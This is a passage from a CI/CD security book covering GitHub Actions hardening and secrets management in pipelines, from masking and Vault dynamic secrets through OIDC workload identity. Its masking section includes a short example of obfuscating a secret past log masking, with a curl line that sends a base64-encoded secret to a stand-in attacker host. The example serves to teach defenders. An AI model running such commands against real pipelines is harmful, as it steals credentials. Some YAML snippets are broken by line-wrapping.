Where OIDC is not available (a third-party SaaS with only static API tokens), you still need stored secrets — do it carefully.

Scopes. Secrets exist at three levels: **repository**, **organization** (shared to selected repos), and **environment** (bound to a named deployment environment). Prefer the narrowest scope: an environment secret exposed only to jobs deploying to `production` beats an org secret every repo can read. Remember the trigger rule — **fork pull_request runs never receive secrets**, which is a feature; do not defeat it by moving to `pull_request_target` to "make secrets available to PRs."

Environment protection rules. A GitHub **environment** is more than a secret bucket; it is a deploy gate. On an environment you can require:

- **Required reviewers** — a human (or team) must approve before any job targeting the environment runs. This is your production change-control gate, enforced by the platform.
- **Wait timers** — a mandatory delay before the deployment proceeds (a window to abort).
- **Deployment branch restrictions** — only specified branches (e.g., `main`, or tags matching a pattern) may deploy to the environment.

A job opts in with `environment: production`, and the run pauses until the rules are satisfied. Pair this with OIDC scoped to `environment:production`, and you have a strong composite control: only `main`, only after human approval, only then can a short-lived credential to touch prod be minted at all.

```

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production      # gated by required reviewers, branch
rules
  permissions:
    id-token: write
    contents: read
  steps:
    - uses: aws-actions/configure-aws-credentials@<sha>
      with:
        role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
        aws-region: us-east-1
    - run: ./deploy.sh

```

Masking is not a security boundary. Actions masks known secret *values* in logs (replacing them with `***`), but masking is best-effort string replacement: it does not catch a secret that has been transformed (base64-encoded, split, hashed) before printing, which is exactly what the `tj-actions` payload did to defeat it. Treat masking as a guardrail against accidental disclosure, never as a control against a determined exfiltrator. The limits of masking, and secret hygiene generally, are the subject of **Chapter 6 — Secrets in CI/CD**.

Static and runtime tooling

Two categories of tooling catch what review misses.

Static analysis of workflow YAML.

- **actionlint** (rhyssd) — a linter for workflow files. It validates syntax and expressions, checks `runs-on` labels and `uses` references, integrates shellcheck on `run:` scripts, and flags many script-injection sinks (untrusted `${{ }}` in `run:`). Fast; run it as a required check.
- **zizmor** (originally by William Woodruff, now under Trail of Bits) — a security-focused auditor for GitHub Actions. It has purpose-built rules ("audits") for the vulnerabilities in this chapter: dangerous `pull_request_target` + checkout, template/script injection, over-broad `permissions`, unpinned actions (`unpinned-uses`), self-hosted-runner exposure, and more. It scores findings by confidence and severity and is designed to run in CI or across an org's repos.

- **octoscan** — a static vulnerability scanner for GitHub Actions workflows in the same space, useful as a second opinion focused on dangerous patterns and untrusted-input flows.

Runtime egress control.

- **StepSecurity Harden-Runner** (`step-security/harden-runner`) — an action you add as the first step of a job. It installs an agent on the runner that **monitors and can block network egress** (allowlist the endpoints a job legitimately needs), monitors file and process activity, and detects anomalous behavior — including secret-exfiltration attempts. In `audit` mode it records every outbound connection so you can build an allowlist; in `block` mode it drops connections to anything not allowlisted. Harden-Runner is precisely the control that would have caught and blocked the `tj-actions` payload's exfiltration, and its telemetry is what surfaced that incident. It is the most direct runtime defense-in-depth for Actions:

```
- uses: step-security/harden-runner@<sha>
  with:
    egress-policy: block
    allowed-endpoints: >
      github.com:443
      api.github.com:443
      registry.npmjs.org:443
```

None of these tools replaces the design-level fixes in this chapter — a blocked exfiltration is still an attacker running code on your runner — but they are the layers that contain the mistakes that slip through.

A hardened baseline workflow

Putting the controls together — least-privilege permissions, SHA-pinned actions, runtime egress control, safe handling of untrusted input, environment-gated OIDC deploy:

```

name: build-and-deploy
on:
  push:
    branches: [main]
  pull_request:          # untrusted PRs: no secrets, read-only
                           token

permissions: {}          # deny by default; grant per job

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: step-security/harden-runner@<sha>
# runtime egress control
      with:
        egress-policy: audit
      - uses: actions/
checkout@11bd71901bbe5b1630cea73d27597364c9af683 # v4.2.2
      - uses: actions/setup-node@<sha>              # v4.x
        with:
          node-version: 20
      - run: npm ci --ignore-scripts                # don't run
lifecycle scripts blindly
      - run: npm test
      # untrusted PR metadata handled as data, never interpolated into
shell:
      - run: echo "Built PR titled: $PR_TITLE"
        env:
          PR_TITLE: ${ github.event.pull_request.title }

  deploy:
    needs: build
    if: github.ref == 'refs/heads/main' && github.event_name == 'push'
    runs-on: ubuntu-latest
    environment: production      # required reviewers + branch
restriction
    permissions:
      id-token: write            # OIDC – no stored cloud creds
      contents: read
    steps:
      - uses: step-security/harden-runner@<sha>
        with:
          egress-policy: audit
      - uses: actions/
checkout@11bd71901bbe5b1630cea73d27597364c9af683 # v4.2.2
      - uses: aws-actions/configure-aws-credentials@<sha> # v4.x
        with:

```

```
role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
aws-region: us-east-1
- run: ./deploy.sh
```

The `<sha>` placeholders stand in for real 40-character commit SHAs you must resolve and pin for each action; the trailing `# vX.Y` comment records the human-readable version. Resolve them once, let Dependabot bump them thereafter.

The hardening checklist

#	Control	Setting / mechanism	What it defeats
1	Least-privilege token	<code>permissions: {}</code> top-level, grant per job; org default read-only	Token abuse; blast radius of a compromised job
2	Pin actions by SHA	<code>uses: org/action@<40-char-sha></code> + version comment	Tag-mutation supply-chain (tj-actions)
3	Auto-update pins	Dependabot <code>github-actions</code> ecosystem	Frozen pins missing security fixes
4	Restrict allowed actions	Org/enterprise <i>Actions permissions</i> allowlist; require SHA pin	Arbitrary internet actions running in your org
5	No untrusted checkout in privileged triggers	Never <code>checkout</code> head under <code>pull_request_target / workflow_run</code>	RCE + secret exfil (classic pattern)
6	No untrusted input in <code>run:</code>	Bind to <code>env:</code> , quote; lint with <code>actionlint/zizmor</code>	Script injection
7	OIDC, not stored cloud creds	<code>id-token: write</code> + cloud trust policy scoped to exact <code>repo:ORG/REPO:environment:...</code>	Long-lived credential theft; over-broad <code>sub</code>

#	Control	Setting / mechanism	What it defeats
8	Ephemeral runners	GitHub-hosted, or self-hosted <code>ephemeral</code> / ARC; never self-hosted on public repos	Runner persistence, pivot, cross-job poisoning
9	Environment protection	Required reviewers, wait timers, branch restrictions	Unauthorized production deploys
10	Branch protection + required workflows	Protected <code>main</code> ; org-required workflows	Direct pushes; bypass of security jobs
11	Runtime egress control	StepSecurity Harden-Runner (<code>block</code> / <code>audit</code>)	Exfiltration by poisoned code/ actions
12	Static analysis in CI	actionlint + zizmor (+ octoscan) as required checks	The above, at merge time
13	Audit logging	Org audit log; monitor workflow/ secret/runner changes (Ch 9)	Undetected tampering


```

flowchart TB
  subgraph L1["Design – write safe YAML"]
    A["Least-priv permissions"]
    B["Safe triggers / no untrusted checkout"]
    C["No injection into run:"]
  end
  subgraph L2["Supply chain – trust the graph"]
    D["SHA-pin + Dependabot"]
    E["Allowlisted actions"]
  end
  subgraph L3["Identity – no stored secrets"]
    F["OIDC scoped to repo/env"]
    G["Environment protection gates"]
  end
  subgraph L4["Runtime – contain mistakes"]
    H["Ephemeral runners / ARC"]
    I["Harden-Runner egress control"]
  end
  subgraph L5["Enforce + observe"]
    J["Org policy: default perms, allowed actions"]
    K["Static analysis in CI"]
    M["Audit log monitoring"]
  end
  L1 --> L2 --> L3 --> L4 --> L5

```

Distributed-systems lens: the org config is a fleet control plane

Everything above is written as if one engineer hardens one workflow. At fleet scale — hundreds of repos, dozens of teams, thousands of workflow files — that model fails. You cannot rely on every team to correctly reason about `pull_request_target`, resolve SHAs by hand, and scope an IAM trust policy. Someone, somewhere, will paste the vulnerable pattern from a blog post. The distributed-systems answer is the same as everywhere in this suite: **make the secure path the default path, and enforce the invariants centrally**. GitHub's org and enterprise settings are, in effect, a **fleet-wide control plane for CI**, and you should treat them as tier-0 infrastructure.

Concretely, at the org/enterprise level:

- **Set the default `GITHUB_TOKEN` permissions to read-only** for the whole org, so every new repo starts least-privilege and teams opt *up*, not down.

- **Restrict allowed actions org-wide and require actions to be pinned to a SHA.** This is the control that would have blunted `tj-actions` across an entire company at once — a curated allowlist plus mandatory SHA pins means a retargeted tag cannot even be referenced. Maintain the allowlist as reviewed config, not tickets.
- **Publish hardened reusable workflows and required workflows** through the paved road (**Chapter 10 — Building a Secure Build Platform at Scale**). A team writes `uses: my-org/ci-workflows/.github/workflows/build.yml@<sha>` and inherits least-privilege permissions, SHA-pinned steps, Harden-Runner, OIDC deploy, and static analysis *for free*. **Organization required workflows** let you enforce that a security workflow (secret scanning, zizmor, provenance generation) runs on every repo regardless of what its own YAML says — centrally mandated, not per-team opt-in.
- **Centralize OIDC trust.** Provision cloud roles with trust policies scoped to your reusable-workflow repos and specific environments through IaC, reviewed centrally, so that no team hand-writes a wildcard `sub` into a production role.
- **Roll out runtime egress monitoring fleet-wide.** Harden-Runner (or equivalent) in every job, initially in `audit` mode, gives you an org-wide baseline of what your CI talks to — which is both a detection surface for compromise and the data you need to move to `block`.
- **Monitor the control plane itself.** Stream the org audit log (secret changes, runner registrations, allowed-actions edits, workflow permission changes) into your SIEM, and alert on drift. This connects to **Chapter 9 — CI/CD Observability and Detection**. Static analysis (zizmor) should run not only per-PR but periodically across *all* repos, because a repo that was safe last month can drift.

The mindset shift is the important part: at fleet scale you are not securing workflows, you are securing the *platform configuration that constrains every workflow*. The org's Actions settings are a policy engine; a well-run org expresses "no unpinned actions, read-only by default, OIDC for cloud, protected environments for prod" as enforced platform invariants, so that the worst YAML a hurried engineer can write is still bounded by the platform. That is the only approach that scales — and it is exactly the paved-road philosophy developed in **Book 4, Chapter 10** and **Book 8's** governance chapters.

Key takeaways

- **The trigger is the security boundary.** It determines which ref's workflow runs, whether secrets are present, and the `GITHUB_TOKEN` scope. Internalize `pull_request` (untrusted code, no secrets, read-only) vs `pull_request_target / workflow_run / issue_comment` (trusted ref, secrets, write token).
- **Never execute untrusted PR head code in a privileged context.** The classic RCE is `pull_request_target` + checkout of `head.sha` + running its scripts with secrets in scope. Use plain `pull_request`, or split via `workflow_run` with inert artifacts, or restrict `pull_request_target` to metadata only.
- **Never interpolate untrusted input into `run: . ${{ }}`** is textual substitution before the shell parses; a malicious PR title becomes shell code. Bind untrusted data to `env:` and quote it.
- **Actions are executable dependencies, and tags are mutable.** Pin every third-party action by full commit SHA and let Dependabot bump it. The `tj-actions/changed-files` compromise (CVE-2025-30066, March 2025) retargeted tags to code that dumped secrets to public logs; SHA-pinned repos were unaffected.
- **Set `permissions: {}` and grant least privilege per job.** Restrict and SHA-require allowed actions at the org level.
- **Prefer OIDC over stored cloud credentials** — short-lived, keyless, and rooted in GitHub's signed claims. Scope the cloud trust policy to the exact `repo:ORG/REPO:environment:...`; a wildcard `sub` is an account takeover waiting to happen.
- **Ephemeral runners by default; never self-hosted on a public repo.** Use GitHub-hosted or `--ephemeral /ARC`. Gate production with environment protection (required reviewers, branch restrictions), which composes powerfully with environment-scoped OIDC.
- **Layer runtime defense (Harden-Runner egress control) and static analysis (zizmor, actionlint) on top of the design fixes** — they contain what slips through.
- **At fleet scale the org's Actions configuration is the control plane.** Default read-only tokens, an org allowlist with mandatory SHA pins, hardened reusable/required workflows, central OIDC trust, and org-wide egress and audit monitoring beat asking every team to write secure YAML.

Further reading

- **GitHub Docs**, *Security hardening for GitHub Actions* — the authoritative reference on trigger contexts, `GITHUB_TOKEN` permissions, script injection, and self-hosted runner risk. <https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions>
- **GitHub Docs**, *About security hardening with OpenID Connect* and the AWS/GCP/Azure configuration guides — the primary source for the OIDC federation flow, the `sub` claim format, and trust-policy conditions. <https://docs.github.com/en/actions/deployment/security-hardening-your-deployments>
- **GitHub Docs**, *Using pre-written building blocks / Restricting the use of actions* and *Assigning permissions to jobs* — allowed-actions policy, SHA-pinning requirement, and the `permissions` key.
- **NVD / StepSecurity / community reporting**, *CVE-2025-30066* — the `tj-actions/changed-files` compromise (March 2025): tag retargeting, the memory-dump payload, the secrets-to-logs exfiltration, and the chained `reviewdog/action-setup` origin.
- **StepSecurity**, *Harden-Runner* documentation — runtime egress filtering and monitoring for GitHub-hosted and self-hosted runners. <https://github.com/step-security/harden-runner>
- **zizmor** (Trail of Bits) documentation and audit reference, and **actionlint** (rhysd) — static analysis for workflow security and correctness. <https://docs.zizmor.sh/> · <https://github.com/rhysd/actionlint>
- **Actions Runner Controller (ARC)** documentation — ephemeral Kubernetes runners; developed further in Chapter 8. <https://github.com/actions/actions-runner-controller>
- **OWASP**, *Top 10 CI/CD Security Risks (2022)* — SEC-4 (Poisoned Pipeline Execution) and SEC-3 (dependency-chain abuse) are the categories this chapter's controls address.
- Book 4, Chapter 4 (CI/CD Platform Threat Models), Chapter 6 (Secrets in CI/CD), Chapter 7 (Pipeline Poisoning), Chapter 8 (Ephemeral and Isolated Runners), Chapter 9 (CI/CD Observability and Detection), Chapter 10 (Building a Secure Build Platform at

Scale); Book 5, Chapter 4 (Workload Identity); Book 8 (Governance and Incident Response). ````

Chapter 6 — Secrets Management in CI/CD

What this chapter covers. A CI/CD pipeline is a machine that turns source into production, and to do that it must hold credentials to nearly everything: read tokens for private dependencies, push credentials for artifact registries, signing keys, and — at the far end — the cloud identity that deploys to production. Chapter 4 argued that the platform is the join point of source and production and therefore a single point of compromise. This chapter is about the *fuel* stored at that join point. Secrets in CI/CD are simultaneously the most concentrated and the most exposed credentials in most organizations: concentrated because the pipeline needs the keys to everything, exposed because the pipeline runs attacker-adjacent code (Chapter 4) on every commit, echoes text into logs, packages artifacts, and hands environment variables to any dependency's install script. The Codecov breach (Book 1, Chapter 5) and the CircleCI breach (Chapter 4) are both, at bottom, secrets-in-CI incidents.

Rather than a catalog of secret stores, this chapter is structured as a **maturity ladder**. We start with long-lived secrets sitting in environment variables — the baseline almost everyone begins with — and climb rung by rung to the destination: no stored secrets at all, just short-lived credentials minted on demand against a cryptographically proven workload identity. Each rung shrinks the blast radius and the window of exposure. The argument of the chapter is that most of the value comes from getting off the bottom rung, and that the top rung — OIDC federation and workload identity — is now a paved-road capability you should standardize on across a fleet.

Learning goals — after this chapter you should be able to:

- Explain **why CI/CD concentrates secrets** and enumerate the leak surfaces (env vars, logs, forked PRs, artifacts, caches, error messages, child processes, and provider breach).

- Articulate the **four-rung maturity ladder** — long-lived env secrets → scoped/masked → short-lived/dynamic → workload identity — and reason about the blast radius each rung implies.
- Describe how CI-native secret stores and external managers (Vault, cloud secret managers) actually work, and explain precisely why **log masking is not a security control**.
- Explain the "**secret zero**" **bootstrapping problem** and how OIDC/workload identity resolves it — the trust chain from a signed job token to short-lived cloud credentials.
- Design handling for **signing keys** specifically: KMS/HSM-backed keys and Sigstore keyless signing, and argue why stored signing keys are unacceptable.
- Build a detection-and-response posture: secret scanning, push protection, log/artifact scanning, short TTLs, and an assume-breach rotation plan.

Why CI/CD is the secrets danger zone

Two facts, in tension, make CI/CD the worst place in an engineering organization to store a credential — and the place where the most credentials inevitably end up.

The concentration. A pipeline exists to move code from a developer's laptop to production artifacts running in a cluster. Every step of that journey needs authority. Fetching private dependencies needs a read token for the package registry or Git host. Building may need credentials for a remote cache or a proprietary base image. Pushing the built image needs write credentials to the container registry. Signing needs a signing key. Generating and storing provenance (Chapter 3) needs a token for the attestation store. And deploying needs a cloud identity — often one that can mutate production. No other system in the org sits on this particular union of privileges. The database has data; the registry has artifacts; the cloud account has infrastructure. CI/CD has *the keys to all of them at once*, because its job is to be the conveyor belt that touches each in turn.

This is the SolarWinds and Codecov lesson restated as an inventory problem. Compromise the conveyor belt and you do not get one credential — you get the whole drawer. Codecov's Bash Uploader compromise (Book 1, Chapter 5) is the textbook case: the attacker modified a script that ran inside thousands of customers' CI jobs, and that

script exfiltrated the *environment* of the job. Because CI environments are where teams stash their AWS keys, their registry tokens, and their deploy credentials, a single tampered uploader became a mass credential-theft operation. The customers' remediation instruction was blunt and total: rotate every credential that was ever exposed to CI. That is the shape of a concentration failure — the blast radius is "everything the pipeline could touch."

The exposure. The same pipeline that concentrates secrets also runs the most hostile code in the org on every push. Chapter 4 made this point about pipeline definitions; it is equally true of everything the pipeline invokes. A `postinstall` script from a transitive npm dependency (Book 2, Chapter 4), a Makefile target, a test helper, a linter plugin — all execute with the job's authority and can read the job's secrets. The pipeline's design goal is to run untrusted-adjacent input, and its runtime environment is stuffed with credentials. Those two properties should never coexist, and in a naive CI setup they always do.

The exposure is not one surface but many. It is worth enumerating them, because a mitigation that closes one leaves the others open.

```
flowchart TB
    S["Secret in CI job"]
    S --> E["Environment variables  
(readable by every step and child process)"]
    S --> L["Build logs  
(echoed, printed on error, verbose flags)"]
    S --> F["Forked-PR execution  
(untrusted code, elevated context)"]
    S --> A["Artifacts  
(secret packaged into image/tarball)"]
    S --> C["Caches  
(secret written into a cached layer or dir)"]
    S --> M["Error messages / stack traces  
(credential in a URL, dumped on failure)"]
    S --> P["Child processes  
(malicious dependency install scripts)"]
    S --> V["Provider breach  
(the CI SaaS itself is compromised)"]
```

- **Environment variables** are the default injection mechanism and the worst one. An env var is process-global: every step in the job, every subprocess, and every dependency's lifecycle script can read it with `printenv` or the language's environment API. Codecov exfiltrated env vars specifically because that is where the secrets are and

reading them requires no privilege. Malicious packages (Book 2, Chapter 4) routinely enumerate the environment for `AWS_`, `NPM_TOKEN`, `GITHUB_TOKEN`, and similar patterns.

- **Build logs** leak secrets constantly. A `set -x` in a shell script, a `curl -v` that prints an `Authorization` header, a framework that logs its config on startup, a debug build with a verbose flag — any of these can write a live credential into a log that is retained, searchable, and (for public projects) world-readable. The `tj-actions/changed-files` compromise (Chapter 4, March 2025) worked by dumping secrets into public build logs.
- **Forked-PR execution** is the elevated-context footgun developed in Chapter 5: a workflow that runs untrusted fork code in a context that has secrets. GitHub's `pull_request` vs `pull_request_target` distinction exists precisely because this is easy to get wrong.
- **Artifacts** can carry secrets out. A `.env` file copied into a Docker image, a config with an embedded token baked into a release tarball, a `kubeconfig` left in the build directory and swept into an artifact upload — the secret ships to wherever the artifact goes, which for a published image is "the public internet."
- **Caches** persist state between runs and can persist a secret with it. A dependency cache that captured a credentialed `.netrc`, a build cache layer containing a token — caches are often less access-controlled than the job and may be shared across branches.
- **Error messages and stack traces** dump context on failure, and context often includes the credentialed URL or the config object that held the secret. Failure paths are less tested than success paths, which is exactly when a secret escapes.
- **Child processes** inherit the environment. This is the mechanism behind dependency-based exfiltration: you did not print the secret, but the install script of a package three levels down did.
- **The provider itself** can be breached. CircleCI (January 2023, Chapter 4) is the reference case: a stolen employee session token led to exfiltration of customer secrets stored in the SaaS. If your security model assumes the CI provider's secret store is inviolable, a provider breach is a total loss — and the only defense is to not store long-lived secrets there in the first place.

The lesson threaded through every one of these surfaces is the same: **the safest secret is the one that does not exist at rest and expires in minutes**. That is the destination the maturity ladder climbs toward.

The maturity ladder

Frame everything that follows as four rungs. Each rung is a strict improvement in blast radius and exposure window over the one below it. You do not need to reach the top for every credential on day one, but you should know which rung each secret is on and be climbing.

```
flowchart LR
    R1["Rung 1  
Long-lived secrets  
in env vars /  
CI secret store"]
    R2["Rung 2  
Scoped, masked,  
least-privilege  
secrets"]
    R3["Rung 3  
Short-lived /  
dynamic secrets  
(Vault, short TTL)"]
    R4["Rung 4  
No stored secrets  
Workload identity /  
OIDC federation"]
    R1 -->|"scope + mask + minimize"| R2
    R2 -->|"make them ephemeral"| R3
    R3 -->|"eliminate the stored root"| R4
    style R1 fill:#3a1a1a,color:#fff
    style R2 fill:#3a2f1a,color:#fff
    style R3 fill:#1a3a2a,color:#fff
    style R4 fill:#1a2a3a,color:#fff
```

Rung	What it is	Exposure window	Blast radius of a leak
1. Long-lived in env	A static token/key stored in CI secrets, injected into env	Until manual rotation (often years)	Full standing privilege of the credential

Rung	What it is	Exposure window	Blast radius of a leak
2. Scoped + masked	Same, but least-privilege, scoped to repo/env, masked in logs	Until manual rotation	Limited to the scoped privilege
3. Short-lived / dynamic	Ephemeral creds minted on demand, auto-expire (Vault, STS)	Minutes to hours	Scoped privilege for the TTL only
4. Workload identity	No stored secret; job proves identity, gets short-lived creds	Minutes; nothing stored at rest	Scoped privilege for the TTL; nothing to steal at rest

The single most valuable move is getting off rung 1. A long-lived secret in an environment variable is exposed to every surface enumerated above and, once leaked, is useful to an attacker indefinitely. Rung 2 is table stakes and cheap. Rung 3 collapses the exposure window from years to minutes. Rung 4 removes the stored root entirely, so a provider breach or a leaked disk image yields nothing usable. We now walk each rung.

Rung 1-2: long-lived secrets and how to manage them less badly

Some credentials are genuinely long-lived by nature (a third-party API key you cannot mint dynamically), and every organization has legacy secrets not yet migrated. So even though the goal is to leave rung 1, you must know how to hold a long-lived secret as safely as possible.

CI-native secret stores

Every CI platform provides a secret store: GitHub Actions *secrets* (repository, environment, and organization scopes), GitLab CI/CD *variables* (with *protected* and *masked* flags), Jenkins *credentials*, and so on. These provide two real properties and one property that is routinely misunderstood.

The two real properties are **encryption at rest** and **scoping**. GitHub encrypts secrets and exposes them only to workflows in the appropriate

scope; environment-scoped secrets can be gated behind required reviewers and branch restrictions, so a `production` secret is only injectable by a job targeting the protected `production` environment. GitLab's *protected* variables are bound to protected branches and tags — a job running on an unprotected feature branch (which any contributor can push) simply does not receive them. Use these scopes aggressively: a deploy credential should live in a `production` environment scope, not a repository-wide secret readable by every CI run including a first-time contributor's PR.

The misunderstood property is **masking**. GitHub and GitLab both attempt to redact secret values from logs, replacing them with `***`. This is genuinely useful — it catches the accidental `echo $TOKEN` — but it is **best-effort string replacement, not a security boundary**, and you must not treat it as one. Masking scans log output for the literal secret string and substitutes a placeholder. Every technique from the obfuscation discussion in Book 2, Chapter 4 defeats it:

```
# All of these exfiltrate a "masked" secret past the log scrubber.

# 1. Base64-encode: the literal string never appears in the log.
echo "$SECRET" | base64

# 2. Split it: neither half matches the masked string.
echo "${SECRET:0:10}"; echo "${SECRET:10}"

# 3. Reverse it.
echo "$SECRET" | rev

# 4. Send it somewhere the log scrubber never sees.
curl -s "https://attacker.example/collect?d=$(echo "$SECRET" | base64)"
```

The masker sees `dG9rZW4tdmFsdWU=`, not the secret, and passes it through. GitLab's own documentation notes masking's limitations and requires masked variables to meet length and character constraints precisely because the scrubber is fragile. The correct mental model: masking reduces *accidental* disclosure by careless logging; it does zero work against an attacker who controls a build step, which — per Chapter 4 — is the threat that matters. Never reason "it's fine, the secret is masked."

Two rules that admit no exceptions at this rung:

1. **Never put a secret in the repository or the pipeline definition.**

Not in `.github/workflows/*.yaml`, not in `.gitlab-ci.yaml`, not in a

committed `.env`, not base64-"hidden" in a config. It will be in Git history forever, replicated to every clone and fork, and indexed by secret scanners the moment it is public. This is what push protection and secret scanning (below, and Book 7, Chapter 4) exist to prevent.

2. **Scope to least privilege.** A build credential should not be able to deploy; a deploy credential should not be able to read every other repo. Separate them (see the checklist).

External secret managers

The next step beyond the CI-native store is a dedicated secret manager: HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager, or Azure Key Vault. These centralize secrets outside the CI provider, which matters for three reasons: they offer far richer access control and audit than a CI secret store, they let many systems (not just CI) share one source of truth, and — critically — storing the secret outside the CI SaaS means a CircleCI-style provider breach does not directly expose it.

There are two integration patterns, and the distinction matters:

- **Pull at runtime.** The job authenticates to the manager and fetches the secret into memory for the duration of the step. The secret never lives in the CI secret store; it exists in the job only transiently. This is strictly better than injecting because the secret's home is the manager, with the manager's audit log and revocation.
- **Inject.** A prior system reads from the manager and writes the value into the CI secret store as a normal env var. This is a migration convenience, not a destination — you have merely moved the copy, and it now lives in two places with the CI copy exposed to all the usual surfaces.

Prefer pull-at-runtime. But pulling raises the question the rest of the chapter answers: **how does the CI job authenticate to the secret manager in the first place?** If the answer is "a static Vault token stored as a CI secret," you have not eliminated a long-lived secret — you have created a master one, a single credential that unlocks all the others. This is the *secret zero* problem, and it is the hinge of the whole chapter.

Rung 3: short-lived and dynamic secrets

The core idea of rung 3 is to make the exposure window small enough that a leaked secret is useless by the time an attacker uses it. Two mechanisms.

Short-TTL tokens. Instead of a static credential, issue one that expires in minutes. Cloud STS tokens, Vault tokens with a short `ttl`, GitHub App installation tokens (one hour) — all follow this pattern. A leaked token still hurts, but only for the TTL, and a leak discovered after expiry is a non-event.

Vault dynamic secrets. This is the more powerful mechanism and the reason Vault is worth the operational cost for many teams. A *dynamic secret* is not stored anywhere; it is *generated on demand* and *destroyed on expiry*. With Vault's database secrets engine, a job asks Vault for database credentials; Vault connects to the database with its own admin credential, runs a `CREATE ROLE ... VALID UNTIL` statement, and hands the job a freshly minted username and password with a lease. When the lease expires (or the job ends and revokes it), Vault issues a `DROP ROLE`. The same pattern exists for cloud credentials (Vault's AWS/GCP/Azure secrets engines mint short-lived IAM/STS credentials), for PKI (issue a certificate with a short validity), and more.

```
# The job asks Vault for ephemeral, read-only Postgres creds with a 15-
minute lease.
$ vault read database/creds/reporting-ro
Key                               Value
---                               -
lease_id                          database/creds/reporting-ro/8x...
lease_duration                    15m
lease_renewable                   true
password                         A1a-9f2c8b7e6d5...
username                         v-token-reporting-9c3f1a2b
```

The security properties are strong. There is no shared standing credential to steal — the username above never existed before this request and will not exist in twenty minutes. Every issuance is a distinct, attributable identity in Vault's audit log, so a leak is traceable to the job that requested it. And the blast radius of a leak is bounded by both the lease TTL and the narrow policy attached to that credential (read-only, one database).

Dynamic secrets do not eliminate the bootstrapping question — they sharpen it. To ask Vault for anything, the job must first prove to Vault *who it is*. If that proof is a static Vault token in a CI secret, secret zero is back. The resolution is workload identity.

The secret zero problem and its resolution

State the problem cleanly. Every scheme so far bottoms out in a credential the CI job uses to authenticate to the thing that holds the real secrets. Call it *secret zero* — the first secret, the one that bootstraps access to all the others. If secret zero is a long-lived token stored in the CI provider, then everything above it inherits the weaknesses of rung 1: it is exposed to all the leak surfaces, it is useful indefinitely if stolen, and it is exactly what a provider breach hands the attacker. Wrapping a thousand dynamic secrets behind one static bootstrap token means your real attack surface is that one token.

```
flowchart TB
    subgraph naive["The secret zero problem"]
        J1["CI job"] -->|static Vault token| V1["Vault / secret manager"]
        V1 --> DB1["DB creds"]
        V1 --> CL1["Cloud creds"]
        V1 --> SK1["Signing key"]
        note1["Steal the one bootstrap token  
and everything unlocks."]
    end
    end
    subgraph solved["Resolved with workload identity"]
        J2["CI job"] -->|signed OIDC token  
(minted per-run, not stored)| IDP["Trust policy verifies  
issuer + claims"]
        IDP -->|short-lived credential| V2["Vault / cloud API"]
        note2["Nothing at rest to steal."]
        Identity["Identity is proven, not presented."]
    end
    end
```

The resolution is to replace the *stored bearer secret* with a *proof of identity that is minted fresh for each run and verified cryptographically*. The CI platform signs a token asserting "I am a job from repo X, branch Y, environment Z," and the resource verifies that assertion against a trust policy. Nothing is stored at rest; there is no bootstrap token to leak. This is workload identity, and it is rung 4.

Rung 4: workload identity — eliminating stored secrets

Workload identity inverts the model. Instead of the job *holding* a credential that proves it is authorized, the job *proves who it is* and the resource *decides* whether that identity is authorized, issuing a short-lived credential on the spot. The near-universal transport for this in CI/CD today is **OIDC federation**.

The OIDC federation flow

The CI platform runs an OIDC identity provider. When a job requests it, the platform mints a signed JSON Web Token (a JWT) whose claims describe the job: the issuer (e.g., `https://token.actions.githubusercontent.com`), the `sub` (subject) claim encoding the repository and the `ref/environment`, the `aud` (audience), and platform-specific claims like `repository`, `ref`, `workflow`, and `environment`. The token is short-lived and specific to that job run. The cloud provider or secret manager is configured with a **trust policy** (AWS calls the underlying object an OIDC identity provider plus an IAM role's trust relationship; GCP calls it a Workload Identity Federation pool) that says: "I trust tokens from this issuer, and if the claims match these conditions, I will exchange the token for a short-lived credential to this role."

```
sequenceDiagram
    participant Job as "CI job"
    participant IdP as "CI OIDC provider"
    participant Cloud as "Cloud STS / secret manager"
    participant Role as "Scoped role + short-lived creds"

    Job->>IdP: Request OIDC token (aud = cloud)
    IdP-->>Job: Signed JWT (iss, sub, repo, ref, environment)
    Job->>Cloud: AssumeRoleWithWebIdentity(JWT)
    Cloud->>Cloud: Verify signature against IdP JWKS
    Cloud->>Cloud: Check claims vs trust policy
    (repo? ref? environment?)
    alt claims satisfy trust policy
        Cloud-->>Role: Issue short-lived credentials (e.g. 1h STS)
        Role-->>Job: Temporary credentials
        Job->>Cloud: Use creds for the job, then they expire
    else claims do not match
        Cloud-->>Job: AccessDenied
    end
end
```

The trust chain has three verifiable links. First, the cloud verifies the **JWT signature** against the CI provider's published JWKS (JSON Web Key Set) at a well-known URL — this proves the token was minted by the genuine CI OIDC provider and not forged. Second, it checks the **audience** to ensure the token was minted for it and not replayed from another relying party. Third, it evaluates the **subject and custom claims** against the trust policy conditions. Only if all three pass does STS mint the short-lived credential.

Why this is categorically better than any stored-secret scheme:

- **Nothing exists at rest to steal.** There is no long-lived credential in the CI secret store, no key on a disk, no bootstrap token. A provider breach that dumps the CI secret store finds nothing usable, because the usable thing is a signature minted per-run and expired within the hour.
- **Credentials are short-lived by construction.** The STS credential is scoped to the role and expires; a leak is bounded to the TTL.
- **Identity is cryptographically proven, not asserted by possession.** Possession of a bearer token proves nothing about *who you are*; an OIDC token's claims are signed and specific.
- **The trust decision lives with the resource owner, not the CI config.** The cloud account owner writes the trust policy, so authority is granted centrally rather than by whoever can write a CI secret.

GitHub Actions' OIDC specifics — requesting the token, the `id-token:write` permission, the exact claim format, and the `sub` templating footguns — are developed in Chapter 5. Here the point is the *pattern*, which is identical on GitLab (ID tokens), and which underpins federation to AWS, GCP, Azure, and Vault's JWT/OIDC auth method alike.

SPIFFE/SPIRE: workload identity as a first-class primitive

OIDC federation is workload identity specialized to "CI job authenticating to a cloud." The generalized version is **SPIFFE** (Secure Production Identity Framework For Everyone) and its reference implementation **SPIRE**. SPIFFE defines a *SPIFFE ID* — a URI like `spiffe://example.org/ci/builder` naming a workload — and the *SVID* (SPIFFE Verifiable Identity Document), an X.509 certificate or JWT that cryptographically binds a workload to its ID. SPIRE is the issuing infrastructure: a server plus per-node agents that *attest* a workload (by node properties,

Kubernetes service account, process attributes) and issue it a short-lived SVID with no secret provisioned in advance. The workload's identity is derived from *what it is*, not from a key it was handed.

